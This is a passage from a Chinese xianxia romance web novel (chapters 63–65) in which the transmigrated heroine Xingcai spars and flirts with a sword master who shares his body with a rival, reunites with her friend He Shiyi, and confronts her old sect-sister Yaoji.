“理解。”荇菜揉把脸颊，长舒口气：此后不用再怕花孔雀的阴晴不定。
她见九阳剑尊的目光一直没移开，摸脸哂笑。不藏着掖着，直言道，“剑尊看上我……”
“嗯。”
荇菜眨眼，话没说完对方就嗯是几个意思？
“我想说剑尊也看上我诱出心魔的本事？”
九阳剑尊侧脸望向水泽乡，耳根慢慢变红。荇菜也有一瞬脸热，呵呵两声掩饰尴尬。
各自转望缥缈的水泽乡，盯着被小舟横行荡远的碧色水葫芦。
因为喜欢，识海剑意会接纳她，会不自觉地生出保护她的想法，不让她难堪。
九阳剑尊很快接受心境上的变化：“是。本尊……确实有这方面的想法。
我想再看一次那把剑，道生花的心魔是道莲，我的心魔是你展现得那把精湛无锋的透彻灵剑。”
道生花接受荇菜说的事实也只花十几秒，没同九阳剑尊争抢身体的控制权，要看看这个女人怎么选。
又在识海内冷嘲热讽：九阳，现在的她可不是当初的她。经历风月、羽化成妖，你这种万年冰山不知
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情爱为何物的老家伙真得不了她的心。
即便她爱上你，你就肯为爱消散？这么多年坚持修道的意义又是什么？
九阳剑尊没理脑子里的道生花，朝沉默的荇菜道：“道生花在天龙道的归魂殿里孤注一掷，以道体崩毁的方式强行破开空间，携带固神的阵法——你说得裂魂破境阵躲进我的识海，一起逃出来。
他不甘心修道一生只为他人做嫁衣，而我没有回归本主法体，只是想再见见你展露得那把剑。”
这是一名剑修遇上难以参透的灵剑而生的执着。
归魂殿一战，某种程度说，道生花真正在反抗命运。花孔雀爱惜羽毛，却肯为自由崩毁法体。这一战一定异常激烈又绝望。可怕得是天龙道完全压制住消息，外界根本不知道这事。黑羽城合体期大能的战斗就能传遍大陆。
荇菜没有拒绝九阳剑尊的要求，而是道：“分身也是人，本就是有独立思想的存在，只因固体成型得是一道阵法，成为一把致命的锁。
他行此道，有违天法。”不要轻易放弃自己的人生。这是荇菜真正想要说的话。
九阳剑尊再次看她，露出少见的笑容，像青虞山道上那次，瞧着她的机灵会被逗笑，现在被她的道意感染。
轻声而坚定道，“你成长得很快。我想，那把剑已经值得我期待。”
荇菜没再多言。有一瞬间，感受到九阳的真诚，像是花涟一样的真诚。更甚至是一种真诚赴死的决心，以及希望死前在人世间留下存在过的证明。
*
水泽乡中的桃花岛犹如蒙着面纱的姑娘，在水雾里缓缓地展现美好。
上一次，荇菜没能来，这次，缘分天注定，和九阳剑尊一起踏上桃香四溢的小岛。
九阳剑尊和道生花共用一体，就没回过青虞宗，就近暂住上岛。得知桃花妖是道生花的妖仆，当即让桃花妖离开此地，不准再探听青虞宗的消息。
道生花使用身体时还在支使桃花妖，让她前往剑仙城探听消息。
荇菜的行踪就是桃花妖透露。
荇菜跟九阳剑尊进入桃花岛深处，一幢精美雅致的两层飘纱桃花楼。
“这里像是女子的住处。”
九阳剑尊对住的地方没要求，不能回青虞宗，在岛边的大石上打坐静功。
道生花用身体时会来这幢桃花屋，一直悄摸着制造新身体，寄放裂魂破境阵法。
这次，九阳剑尊因要接待荇菜，才到道生花的地盘。
两人在木屋的纱廊下对坐，九阳剑尊主动烧水、烫杯、洗茶、沏茶，展现一遍茶道功夫。
水泽乡的风拂过桃花林，洗去水乡的腥味，顺来沁脾的桃花香。
荇菜接过他递来的茶盏，桃花瓣顺风飘在盏面，让两人都有一瞬凝滞。
九阳剑尊想拿回杯子重新倒一杯，荇菜已经辗转茶杯，朝桃花瓣轻吹。小小的盏面上荡出一圈又一圈的波纹，像是无法控制的心脏鼓流一股又一股的热血。
浪漫会撞击人心，继而热血沸腾。
63. 第 63 章
微风习习，花正盛开。
茶香缭绕中，荇菜收回发散的神思，缓缓启唇：“多谢剑尊的茶。上一次我见这翻泡茶的功夫还是我爸爸……已经很久没见人施展这样行云流水的好茶艺，让人心情平静。”
自从与花涟坦白过真实身份后，荇菜已经能很自在地想念爸妈，甚至把他们挂在嘴边。
灵魂被迫融入这个世界，抗拒的情感和过往的记忆在经历波折后，也与这个世界慢慢地融合。
“爸……爸？”九阳剑尊边倒茶边奇怪地问。
荇菜没有回答，含着笑低头。托杯扶盏轻嗅，再浅尝入口，舌尖温暖且甘香。
九阳剑尊读懂她的意思，不纠缠这个话题。
荇菜没说茶怎么样，只是想起花家村时花涟喝茶的模样：“茶香生津，入喉回甘，解渴。”
不自觉就说了花涟说过的话，忆起那缕缠绵如藕丝的眸光，让人沁甜回甘。
九阳剑尊喝口茶，生津回甘，确实润喉。
眸光落在她如剑尖形的唇，品出另一番茶味：生津非茶香，而是美色惑人。回甘需入喉，只因想一亲芳泽，吞咽入肚。美人在前，秀色可解渴。
噙笑再喝口茶，对面已经推空盏过来。
九阳剑尊放下茶盏，重新给她沏一次。
两杯茶水入肚，荇菜觉得没白瞎他的手艺。
“剑尊，回来后可有通知青虞宗？”
九阳剑尊微顿，奇怪地看着她：“未曾。”
“请告知青虞宗你回到水泽乡。不然，我不敢再见诗逸。”荇菜看向如璧的白瓷空盏，“当年的事是我不对，让你和道生花在黑羽城起冲突，打破囚徒结界，释放黑羽族。”
九阳剑尊旋手寄灵，无声张合唇瓣，说完后让剑信流转而去。
“好了。她不会怪你，我更不会。道生花利用妖元妖化门中弟子，追杀他是因为正邪不两立，战场位于何地，不是你说了算，只因他就在那。”
荇菜轻笑，因他的宽宏大量，不免又想起花涟。为不让自己对金莲的消失生出负疚，花涟把责任全揽上身。
“你们都是好人。可是，好人为什么要被死亡？”
九阳剑尊起身，走在飘纱外的扶栏处，眺望一岛桃花海：“没有什么被死亡。你知道道祖天尊修到渡劫境用多久？”
荇菜记得项檀写过以道祖天尊黄椒为原型的《太仲》，太仲在百岁入渡劫境，乃是史无前例第一人。
“百岁吗？”花涟读书很多、涉猎也广，但对人物传记和外界的形势不感兴趣，对道祖天尊的认知更是寥寥无几。
“百岁入渡劫境，修炼至今九百余年，未曾破境飞升。”九阳剑尊的脸上露出无奈，“自记事起我一直以为自己是天才，直到知晓他的存在。
四百岁合体期，已经是人间少有，却远远不及他的成就。”
“你认输了？”荇菜走到他的背后，如剑的背影不像是会认输的人。
九阳剑尊垂眸，拂开轻纱，走近荇菜：“不是认输，而是破境飞升本就困难重重。他破不了，身为他分身、有修为上限的我更被限制在一个圈内。”
荇菜不理解：这不就是认输？剑修不应该是逆天抗命吗？
九阳剑尊拂向她被风纱吹碰的发丝，像是对剑生出的憧憬。独一无二的吸引力撞击在心口。
他垂下手，绕过荇菜，一步离开木楼。
荇菜没有留他，在他站过的栏杆边，眺望桃林。桃花的颜色深深浅浅，各种粉色里透着各种白，浪漫得让人心旌神荡。花色误人。
“到底不如三角梅树沉默又热烈。”
晚间，道生花步入木楼，在睡着的荇菜床旁坐下，手背滑过她如玉的脸颊。
“灵力被封印，勾人害人的法术倒还能使。”
荇菜一把按在脸颊上游走的手，睡梦中滑出两道泪痕，喃喃：“花涟……花涟……”
道生花抽手，又没抽出来。想要听清她在喊什么，俯下身侧脸细听。
“……花……”荇菜的手瞬间勾住“花涟”的脖子，闭眼吻上他因惊讶转来的唇。
道生花睁大眼，手抵荇菜的肩头，欲推还迎，很是纠结。
荇菜已挂着他的脖子起身，手按在他的后颈风池穴，让他张开唇瓣。
舌尖趁机而入，搜刮他的津液。
道生花抵在她肩头的手慢慢地卸力，转而环在她的后背，滑在她的腰间。当他准备全身心投入追着她吻时，荇菜已经抿紧唇瓣，额头抵着他的额头，不让他低头追来。
道生花回神，推开她：“你……”
荇菜坐在床榻，轻舐唇角，眼眸清澈似无睡意。
《欢情诀》、《色欢愉》、《房中道》等等书真是收割/男人的利器。
她扬眸笑去，得意道：“如何？你的身体可比嘴巴实诚多了。”
道生花待要逼近，身体里的九阳已经控制他后退，气笑了。
“好，你给本尊等着。”转身离去。
荇菜轻松口气，哼笑：“我怎么可能放过你的灵力，”和你的裂魂破境阵法。
抹去唇瓣的湿漉，啧了声后继续睡觉。
合欢道与别的道不同的地方，就是合欢修士靠得不是灵力行走天下，而是自身内外兼修的魅术。不过，没有灵力支撑身体和精神，到底不如修士扛夜。
早间，荇菜发现九阳剑尊的脸面依然是道生花，坐过去道：“哎，我饿了。”
道生花头也不抬，忙碌手上的东西：“不会自己解决？本尊很忙，懒得理你。”
荇菜还以为他会为昨晚的事讨债，见他这副爱理不理的态度，不由“啧”了声。
“对不住，昨夜我把你当成我夫君了。”
道生花一瞬间停下动作，捏紧手里的木雕。
荇菜暗笑，见他没爆发，瞧向他手里用桃木芯雕出的人形木偶，桌面摆放各种熟悉不熟悉的炼阵材料……九阳剑尊说道生花在制作人形，存放裂魂破境阵法。
若是帮道生花完成人形木偶，他就可以寄存在人偶。
如此，既对得起禾诗逸，不伤她的大师伯，更能解决这个性情恶劣、害黑羽消散的上司。
荇菜：“哎，我有个办法让你做出合适的人形，而且不易断，也不必百炼成钢地生成什么阵法。”
道生花停手，正眼睨她：“什么办法？”
“我饿了。我要吃剑仙城东街头的辣豆腐包，西街头豆腐西施的豆腐脑，再来……”
道生花手里的刻刀重重地杂在桌面，哼笑：“拿本尊出气啊，用这点手段？怎么样也得是破开黑羽城囚徒禁制这种，害本尊进入空间裂缝，被那该死的黄椒给拉入归魂殿，害本尊为自救而崩毁道体。这样的程度才叫报复。”
荇菜眨眼，一屁股坐他对面，倾身压过他的桃木芯人雕：“你搞清楚，架是你自己要打。呵，想合欢妖尊对你生出愧疚啊还是怜惜？
可惜，你这种货色，只配被利用。”眼见他的目光里要喷火，荇菜见好就收，起身道，“半刻钟内让我吃上哦。”
留给道生花一道明媚的笑容，又添句：“对了，你的吻技真是太烂了。道璇玑这么大个美人喜欢你，竟然没开过荤，啧啧啧。”
“你！”道生花猛地起身，砸掉桃木芯人雕。左脚欲抬，右脚又定在原地，硬是让他一股恶气深深地憋回肚。'');(window.adbyunion = window.adbyunion || []).push(id);})();
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气得自言自语：“好好好，你还不松力，哪知眼睛看到我要伤她？”
识海里的九阳剑尊卸力，任他旋手摄取一片桃花瓣，寄附消息后向天外抛去。
荇菜背靠廊柱，适机探头：“哎呀呀，我要三生道法尊亲手买的豆腐包，这样吃得才香，也就能想起让你拥有人形的办法。”
道生花伸在半空的手握拳，屋外的桃花林炸成一片，林风呈浪，飘卷起大片的桃花瓣。
荇菜哈哈哈地笑出声，奔进桃花林。
在桃花雨中欢快地旋转，一动一转尽情地欢笑，偶尔瞥向楼上栏杆处生闷气的男人。
道生花的怒气渐渐地平复，瞧着她的意欢快，轻嗤：“妖女，真是记仇，不就为黑羽那点事。本尊怎么能让你也心想事成呢。”
*
在剑仙城里玩得不亦乐乎的桃花妖正牵着书生陶郎君的衣角晃悠，乖巧娇艳的面容上是娇羞颜色。
陶郎君也害羞地低头，深情款款道：“小夭，其实我也……”
桃花妖抬起面容，期待他被臣服得这刻。
陶郎君背后出现张她熟悉的脸，吓得她收回手站直，急切又婉婉道：“陶郎，你先回去。小夭一会再去找你。”
丢下不明所以的陶郎君，桃花妖追上离去的道生花。
道生花侧头问：“豆腐西施在哪？”两条街都没见到这人，真得存在吗？
桃花妖：“啊……？”
*
荇菜正望着浩瀚的水泽乡发呆：道生花被支走，水泽乡这么大，怎么回剑仙城？
禾诗逸破空上岛，正要寻发来剑信的九阳剑尊，一位像她师伯身形的男人拎只食盒也落在岛上。
诧异道：“你是谁？身形怎么这么像我师伯。”
“诗逸。”荇菜跳下大磐石，没有修为后感应周围环境的能力变弱，听到声音才发现来人。
接过道生花递来的食盒，眼不斜瞟地走向禾诗逸。
“花夫人。”禾诗逸近前，被荇菜自来熟地拉住手腕。与荇菜面对面立着，思绪叠闪。
试探道：“你……总算肯认我，阿菜。”
荇菜的回答是垫脚吻在她的脸颊：“阿逸。”
禾诗逸的眼眸瞬间绽放光芒：“果真是你，合欢阿菜。”
“什么鬼。”荇菜见她没提九阳剑尊，瞟眼走开的如剑背影，拉上禾诗逸去桃花屋，“合欢宗大殿上，我正嫁人呢，来得又都是找事的，不敢与你相认，别怪我。”
“说起这个，我听说花涟长老他……”
“夫君渡劫失败，已经故去。如今，我又是自由身，而且被门中尊为：合欢妖尊。”荇菜旋身转圈，又道，“半月尊者封印我的修为，现在同以前没什么区别。”
“哪里没区别。你瞒得可真好。
帮青衍镇的周老太太延寿，写本赚钱让蕙永姑娘改变命运。
偷袭十方山寺杀妖分尸的和尚，住在水泽乡的妖精没有不夸你。
你还揭发潜伏在我宗的恶妖鲛童，制止山泽崔洧向西塔国发难，避免一场矿源争夺战。但是，你千不该万不该，动到我最尊敬的人。”
禾诗逸转到荇菜前方，张手凝出银白长剑，目光如烛，“黑羽族狐羽说，合欢妖女引两方大能在黑羽族上空斗法，帮助黑羽族脱离千年禁锢，我的师伯在此战里失踪，下落不明。”
荇菜逼近指来的长剑，自信地释放魅人的笑容。
“他们说得都对，你的角度也是我没想到的。我曾说过，这个世界上，论自恋，禾诗逸第一，我当居第二。因为你的想法总是特别的自信又与众不同。害你师伯下落不明得确实是我。你想怎么样？”
64. 第 64 章
林风轻卷，带起禾诗逸扎头发的剑宗长绫，挂在盈盈长剑上。
“噗，”禾诗逸散去剑形，捏住飘带抛在背后，“你真是一点没变，以前不怕我把你卖掉，现在不怕我杀你。”
“因为我相信阿逸。”荇菜露牙发笑，扑抱住绽笑的禾诗逸，“走，你师伯买的早点，一起尝尝。”
“师伯……买早点？刚才那人……”不敢相信。
“肯定是你师伯。道生花不会做这种没面子的事，做了也不会不邀功、不来讨嫌。别急，我跟你细说。”荇菜拉她上桃花屋，一起品尝茶点。
桃花林深处，九阳剑尊的面庞恢复他本来的面目，背身去往水泽乡的大石。
行走的姿态写意，心情颇是美好。
道生花在识海冷嗤：“你不是担心她吗？不去露面，不怕她被你的师侄杀掉。”
九阳剑尊：“诗逸不是你们这种心思诡谲的邪魔歪道。她也不是任人宰割的女子。”
道生花再嘲：“你倒是光明正大，用本尊的脸去买早点讨好她。难道你以为这样就能让她爱上你？她的师尊成为道侣，在她心里定是画过浓墨重彩得一笔。这一笔下去，还容得下旁人？”
九阳剑尊从不怼人，一般怼人用剑。这次没法动剑，还是忍不住道：“她吻你时唤得是她夫君的名字，你伤心了？”
道生花：……她喊得是“花”！
……不是道生花的花，而是花涟的花。
输人不输阵，又讥：“呵，她吻我，不吻你。你吃醋啊？”
九阳剑尊：……傻子，吻得是我……的身体！
双双沉默，一言不发走出桃林。
*
禾诗逸呼呼地扇着嘴巴，接过荇菜递来的茶水，总算压住喉口的辣味。
“听说剑仙城新开的豆腐包好吃，但是辣，只听说没尝过。修至元婴中期，越发难突破后期瓶颈。师父要我断欲戒食，悟得性理，就一直没去偷吃。
呼呼……真辣真香真好吃。”
说明想过，只是因为九玄剑尊的话执行戒食断欲。性理：人性道理，世事伦常、七情六欲，皆是性理。
荇菜蹙眉，为何自己通悟这么多性理？思路流转回禾诗逸：作为原文女二，禾诗逸在规则的周围游走，一边是尊师重道、守护山门弟子的教条，一边是释放本心，追求真我的欲望。内心的矛盾是朱琴天对她的突破口。何尝不是自己靠近她的手段。
突破不了元婴后期，只因禾诗逸从未把自己放下。不论是她守护的宗门、遵守的宗门教条，还是追求的自我，皆成捆缚她心境的欲望。
荇菜又是愣顿，自己对别人的心魔、破境瓶颈等性理方面有更多得认知。
这是花涟的学识带来的额外好处吗？
她把分成两盏的豆腐脑推过去：“听闻这个也好吃，咸香适口，软软滑滑，快尝尝吧。”
禾诗逸被她的话触动，想起青虞宗外的冰道温灵泉：女子的唇齿柔软，手若流苏滑过肌肤，如舐吻神女。
此生从未与人这般亲密无间。这份持久弥新的感觉在九玄剑尊说出“悟得性理”时，时不时让人回味。
重新展颜，试探道：“我还是和你在一起舒服。不仅自在，还开心。可惜，缺壶酒。不然，又能与你一醉方休。”
荇菜被她勾起温灵泉的经历，赶紧道：“别了吧。省得又做荒唐事。”
禾诗逸的心慢慢地回落，手中的豆腐脑一点都不咸香，甚至有点齁，转言道：“刚才的人是我师伯。”
“嗯。”荇菜把九阳剑尊和道生花在黑羽族的战事简单道明，又道，“两人落在时空裂缝，道生花崩毁法体，九阳剑尊感念他撕开空间通道，得以回归天生大陆，才让道生花寄居在识海。”
“师伯心善。不对，这事应该是师伯和我说，你怎么这么清楚。你和师伯……”
“瞎想什么！”荇菜拍掉她指来的手指，倾身问，“你知不知道有一种莲藕，色如碧玉，玲珑通透，即使折断，丝藕相连，还异常坚韧。”
“碧玉莲的藕。”
“对，书里是这么个名字，但是没有写生长地。”荇菜翻遍识海，找到这个碧玉莲的藕符合道生花造身体的要求。
道生花这么碧莲，特别适合这种藕。
“天龙道的浮空城就有这种莲花。我随师父前去参加过八宗会盟，浮空岛深处有个莲池，不仅有碧玉莲，青木水莲，桃花单瓣莲，樱蕊千重莲……还有难得一见的海玉魔莲，被养在阵法里，看管的人说此莲性恶，不能与别的莲花共生。因而我记得特别清楚。”
荇菜已经张大眼：天龙道、浮空城、莲池……周老夫人是香檀的养母，惊蛰身世未知，黑珠收养黑羽、鲛童无父无母生活在水泽乡、花涟是被花老夫人收养的孩子……所有的分身没有亲属归处。
她豁然起身，向桃花林外奔去。
禾诗逸不明所以跟上她：“阿菜，你去哪里？”
两人站在桃花林边，望向在大磐石上持剑而立的九阳剑尊。水泽乡湿润的风吹拂着他的发丝和衣摆，传来猎猎声。
禾诗逸看向矗立不动的荇菜，睨在她发亮的眼神：“剑修是不是都很特别？每一位都是独一无二。”
“是。出锋时锐利无比，入鞘时安心踏实，给人捉摸不定得像谜一样的可靠感。”
荇菜轻轻地笑着，忆起青虞山道上被九阳剑尊逮住的事，彼时轻轻一瞥，阳刚俊美的形象确实让人惊艳。她给他一巴掌，刻出眉尾一道旋；她一句仁者心动，他落荒而逃。
九阳剑尊有他独有的气质，最主要是让人觉得可靠。《玉石还阳功》对他特别偏爱，也说明他是目前所遇分身中修为最高者。
“师伯不仅英俊不凡，当他人剑合一时天地牧野，独他一人。说起莲花，他给我的感觉像是从石头上长出来的长杆剑莲。我好像说过他是纯阳之体，女子与他，不知谁获益。”
荇菜诧异地看向说出这些话的禾诗逸，以往的禾诗逸虽也好奇男女的事，甚至厌恶男子多妻妾，但不会拿师伯开床笫间的玩笑。
“长杆剑莲！阿逸，你知道他的身世吗？”
“师伯的身世？”禾诗逸仰天，追忆道，“师尊说过，师伯是师祖从水泽乡捞回来的弃婴，还说他天生剑骨、纯阳之体，乃是堪比，”手指向天，“那位不凡资质的好苗子。”
“嗤，”荇菜抱胸，验证九阳剑尊必然是黄椒分身的事实，而且所有分身无父无母，结合花涟学识里以莲藕制傀儡人形的手法，可以得到不少信息，“不同品质的莲花藕可以锻造出不同资质的傀儡。莲藕的品质决定分身的资质、修为的上限。
咱们这位天尊可真会玩，佩服。”
“什么意思？莲藕、分身、上限，与天尊又有什么关系？”禾诗逸没明白她话里的意思。
九阳剑尊早知道两人到来，也听到对话，直接闪现立在两人面前。
禾诗逸行礼：“师伯，收到你的剑信，师父让我来催你回门。”
九阳剑尊颔首：“暂时不回。荇姑娘应该同你
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说了我的事。”
“荇……姑娘？”怎么都该喊人家花夫人吧？
禾诗逸瞧师伯的脸色寻常，点头道：“师伯，有办法把这等邪修送出法体吗？”
道生花：……没本尊，你师伯都散了。
荇菜迎着师、侄两人望来的目光，解释先前的话：“碧玉莲藕可以炼制人性。若需要更好的炼身材料，就找莲池里最好的藕。”
九阳剑尊和禾诗逸的目光相触，纷纷道：
“九霄。”
“师叔那有……”
九阳剑尊：“不用碧玉莲藕，可以用白玉莲藕，传闻也是不可多得的材料。”
荇菜哼笑：“道生花的运气不错，便宜他了。”
九阳剑尊不能回青虞宗，担心道生花趁机生事。荇菜不想待在这桃花岛，正好随禾诗逸回去采莲藕，再一会朱琴天。
*
两人辞别九阳剑尊，一起回青虞宗山门。
禾诗逸依旧是被宗门里人人敬重的大师姐，门中弟子无不对她尊礼。
荇菜被她紧紧地拽着手：“你带我回去，你的师叔不会像上次那样找我麻烦，害你受伤吧？”
“你记得我为你受伤的事呢。你我见面这么久也不问问我当时痛不痛。”
“一定很痛。下次，别为我同师门闹。当时，我想回来，结果被道生花那厮给抓走。”
“果然是他。后来，我听说你出现在黑羽城，又有黑羽城合体期修士斗法，猜测你恐怕被卷进去。果不其然，阳梧山大火一月，我去找你，遍寻不见，一度以为你死了。花涟长老成亲，有人放出消息，说合欢妖女会在结契大典上出现，这才自请出使。一来是确认师伯的讯息，二来是找你。”
“阿逸，”荇菜停在山道，拥住她，“对不起，让你担心。”
禾诗逸回拥她，感受从心底生出的异样悸动，侧头贴近她的脸颊：“阿菜，你不知道，我……”
“我知道，我是你最好的朋友，我希望我们一辈子是好朋友。”
禾诗逸被她松开，笑容里生出丝苦涩：这就是悟得性理吗？即使爱或不被爱，都要敞开心扉去接受。
“你别担心我师叔。如今，我是代宗主。今时今日，师尊、师叔、师伯三人都得给我这个代宗主颜面。否则，让他们自己来处理门中的破事。”
“这话说得你不当这代宗主，多得是人抢着当。不过，他们未必有你的大节和气度。说说，门里有哪些破事，瑶姬还是西双儿？”
“真是哪壶不开提哪壶。我们三人被称为青虞宗三花。师父本想把西双儿留给师伯做弟子，结果师伯闹失踪，朱琴天又缠她，师父就收她为弟子，算是替她解围。”
“朱琴天还在宗门呢？”
“演吧。”禾诗逸戳她，“你既知道西双儿，还能不知道朱琴天那些破事？九年前，弟子试炼大会上，瑶姬师妹一剑刺穿朱琴天的肩胛。朱琴天扬言：瑶姬对他因爱生恨。这可好玩了，同门人翻出瑶姬师妹拜师前和朱琴天一起从即谷出来，多少有些牵扯不清。
瑶姬一生气，去信西塔国四大家之一的西家，竟然把西双儿这位大小姐、朱琴天的前未婚妻给骗来。
朱琴天是纯阳体质，道行不够哪里瞧得出来？他修炼不得法，又无人引导，修炼缓慢被家族传为废材，这才被西塔国的西家退亲。
西双儿一到青虞宗，朱琴天阳元的事就不攻自破。他说是情难自禁才与未婚妻西双儿欢爱……这就成个笑话。人家西双儿还是黄花大姑娘呢。”
65. 第 65 章
当年，荇菜为报复朱琴天，威胁瑶姬在弟子大比上刺朱琴天一剑，以此断送瑶姬的后宫女主路。
瑶姬不刺朱琴天心口，专刺肩胛，算是维持住现有形象。这也在荇菜的预料中，瑶姬不傻，而且以剧情大婶的护犊子，必让朱琴天转危为安。
荇菜想起过去的事，哂笑出声：“朱琴天后来怎么样？”
禾诗逸边走边解释：“五年前，宗门秘境的试炼场里，他还得些机缘，采回不少灵草，拔除红丝蛇和蛇果，在宗门里立功。红丝蛇性毒喜/淫，蛇果会迷惑弟子，有因误食而死，也有因……做那事至自死方休。他确实做件好事。
只不过，他人品有过，长老商议后破格提他为内门弟子。现有两位元婴长老有意向收他为徒。因为瑶姬、西双儿的身份关系，与他又有龃龉，长老们处在观望状态。”
“红丝蛇？又名淫蛇，以它口水养育的果子有致幻迷情的效果。”
禾诗逸颔首：“所以，他确实有功。秘境试炼结束后，我清点人数，失踪两名女弟子、两名男弟子，后来发现他们误食蛇果而死，死状凄惨，不堪目睹。”
荇菜记得原文，禾诗逸和瑶姬在青虞宗的试炼秘境里双双成为朱琴天的后宫，恐怕就是这蛇果造的孽，狗血的剧情大婶安排的男主“福利”。
瑶姬报仇失败，又献身朱琴天一次，当即要杀朱琴天。禾诗逸帮朱琴天挡住杀招，庇护他。
禾诗逸和瑶姬的身份都不简单，朱琴天也不敢如何，怪就怪在红丝蛇和蛇果让人乱性。
此后，瑶姬在爱恨间徘徊，随剧情发展，恐怕会雌伏朱琴天。
禾诗逸与朱琴天游走暧昧……
荇菜正是从这里开始吃不下男频文的一夫多妻，决定弃文。
两人一路登上山阶，荇菜思量：原文里，九阳剑尊是朱琴天在青虞宗最大的依仗。没有九阳剑尊的纯阳剑，朱琴天想要重获男主资源就要走不少弯路。瑶姬本该是他的后宫女主之首，没有瑶姬暗中帮他，朱琴天别想通过双修的方式让修为一日千里。
禾诗逸见她沉默，又道：“你还是放不下当初的仇恨？”
荇菜瞧去：“生死大仇，又不是小情小爱，岂能说放就放？何况，我已经设圈套压制他，等他意识到背后人是我，必会想方设法杀我。阿逸，你觉得我可怕吗？”
禾诗逸摇头，弯腰握住荇菜的手：“你敢爱敢恨，不就是我想要的样子吗？我不喜师尊收西双儿为徒，但身为大师姐，照样得容她、照顾她。”
荇菜抱住她：“不说那些。照你这样说，现在的朱琴天应该是郁郁不得志吧？”
“没有。前段时间，他一直在我面前晃，有种……”禾诗逸贴近耳边，轻声道，“想要用阳刚容色勾引我的感觉。不过，他不知道我的喜好。当初鬼童那小子没少对我献殷勤，我瞧得明白也没感觉，更不会理他这根烂黄瓜。”
荇菜忍不住笑：当初写下《烂黄瓜》就是以朱琴天为原型警醒女子，长期效应不错。
禾诗逸见她没问自己的喜好，生出些失落。又见她对朱琴天感兴趣，继续说这个人。
“朱琴天的修为已经到金丹初期，按他的资质来说，这样的修炼进度算是慢的。但是，按他的情况，这等修炼速度比顶级天才慢，却也是天才级别。当然，他跟你肯定没法比。”
抱胸沉吟道，“最近他不在我眼前晃，反倒是经常离开宗门，看起来是避开西双儿和瑶姬，似乎在外颇有机缘。”
荇菜忽视她那句“他跟你肯定没法比。”
自身的修为怎么来？合欢女子的修为能怎么来？
论起修炼资质，确实比不上朱琴天。若按部就班修炼，更不用说超过朱琴天，连女N号都摸不着。
剧情大婶给出《玉石还阳功》的结算工资，布下一条道，那就走它一遍，也就知道两人孰胜孰负，谁才是天之骄子。
话说回来，朱琴天毕竟是男主，第一次被家族除名，在野外能遇上金花送修为。没有九阳剑尊、瑶姬、禾诗逸、西双儿等女子的帮助，恐怕有其它资源来路，必须找个机会让他永无翻身日。
禾诗逸观她沉默，就道：“你也别担心，但凡他在青虞宗一日，就出不了头。长老们因瑶姬和西双儿的关系对他观望，殊不知，他最大的阻碍在这。”
荇菜见她手指自己，搀进她的臂弯：“谢谢你，阿逸。我不瞒你，他予我一剑之仇，我必要他血债血偿。”
禾诗逸又想起温灵泉时她说得那些话，颔首道：“好。我一定帮你。”
“谢谢阿逸。”
“不客气，小侄女。”
两人散去心头的沉重感，在山道上欢笑。
**
天霄峰上，瑶姬和西双儿正在一起练剑，见禾诗逸到来，纷纷停手行礼：
“禾师姐。”
“大师姐，咿，师姐身后的人有几分眼熟。”
两人对视，知道对方想起剑仙城街上买饰品的女子：可真是巧。
禾诗逸知道瑶姬和荇菜真正的关系，而荇菜的容貌已与从前大不相同，反倒瑶姬因为鸳鸯丹的功效，更像以前的金莲容貌。
花涟夫人的形貌没有对外宣扬，荇菜在瑶姬的眼中完全是陌生人。
禾诗逸不点破此中密辛，重新给两方介绍：“这是我的好友，你们唤她‘荇师姐’。阿菜，这是我师叔九霄剑尊的弟子——瑶姬师妹。这位是我师尊九玄剑尊的小弟子，就是我与你说的西双儿，西塔国西家的大小姐。”
西双儿发现禾诗逸对荇师姐很不一般，收剑后近前，捏住禾诗逸的袖子，撒娇道：“师姐，我怎么听着你对她比对我还好？她知道我，我却不知道她，到底谁才是你的小师妹啊。”
荇菜和禾诗逸纷纷笑开，西双儿年纪不小，入门也有段时间，行为处事依旧是大小姐派头，明晃晃地上眼药，一点都不避讳人。
西双儿也是朱琴天的后宫之一，而且是昔日弃我去者的青梅，来日满足男子自尊心的利器。
荇菜莞尔：“西师妹，我们见过。”
“哦？哪里见过啊？我怎么不记得。以
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你的修为，一个凡女，怎么能与我大师姐走在……”
禾诗逸受不了她这样说话，打断道：“西双儿，阿菜是我的好朋友，请不要用你大小姐那套方式说话。”
“师姐。我本来就这么说话，凭什么对她就要客气？瑶姬，你说对吗？”西双儿抱胸睨向另一边。
瑶姬本是低垂头，不知道在想什么。闻言，她道：“来者是客。荇……师姐是禾师姐好友，你像喜爱我门前那株石兰一样，以礼待之。”
西双儿窃笑两声：什么喜爱石兰、以礼待之。若非那株石兰有千年之久，谁看它两眼。
荇菜瞧两人一个明着怼、一个暗讽隐喻，这就是后宫女子的小手段了。
禾诗逸哪里看不出来两人不喜荇菜的态度，先道：“双儿，师尊要教你玄天剑法，还不快回去。”
“真的。太好了，我这就走。”西双儿路过含笑的荇菜，瞧她与禾诗逸亲近、却不得瑶姬喜欢。
两相权衡利弊，她知道禾诗逸这位亲师姐比师叔家的瑶姬重要，朝荇菜道，“其实，在剑仙城，我们确实见过一面。你长得太好看，我虽吃醋，却也觉得你……赏心悦目。回头一起玩。”
“好。我也觉得你率真可爱，配上你大小姐的身份，理应如此。”
西双儿哈了声，连点好几次头：“大师姐，我喜欢她了。荇师姐是吧，再会。”
禾诗逸耸肩，朝荇菜道：“这就是西双儿，直言不讳，异常自我。”
瑶姬的脸色沉落几分，自来青虞宗数年，只有一个女人让禾诗逸不顾安危去抗争。那就是曾经掩藏身份进山的师妹金莲。
这个女人……
瑶姬与荇菜的眼神相较，在对方似笑非笑的神情下，心头一阵心悸。
……她回来了。她就是金莲。
“师姐，”荇菜走近发愣的瑶姬，一张好脸怼在她难看的脸前，“许久不见，别来无恙。”
“你不是已经……”瑶姬连话都囫囵不全。
传闻阳梧山大火一月，烧死合欢妖女。
花涟渡劫失败，这个世界上唯一知晓自己真实身份的人都已死去。
结果，这个怎么都死不掉的师妹金莲又改头换貌回来！
“可惜。师妹命大，怎么都死不掉。”荇菜转向看戏的禾诗逸，“阿逸，不介意我们单独聊聊吧。”
禾诗逸睨她，颔首：“瑶姬师妹，你们聊，我去后池采摘白玉莲藕。此事，我自会禀明九霄师叔。”
瑶姬紧紧地闭上眼睛，压下心头的慌乱。再睁开时已经会冷嗤：“金莲，你到底用什么本事让禾诗逸对你这般护着？”
“曾经我也护你啊。你被朱琴天差点吸尽灵力而死，我持剑以命相救。可是，师姐怎么对我呢？你拿走唯一可以救我命的鸳鸯丹，摇身一变成为青虞宗九霄剑尊的亲传弟子瑶姬。”
荇菜逼着她一步步后退，直把人抵在假山大石的石兰花树下，伸手勾起瑶姬的下颚。
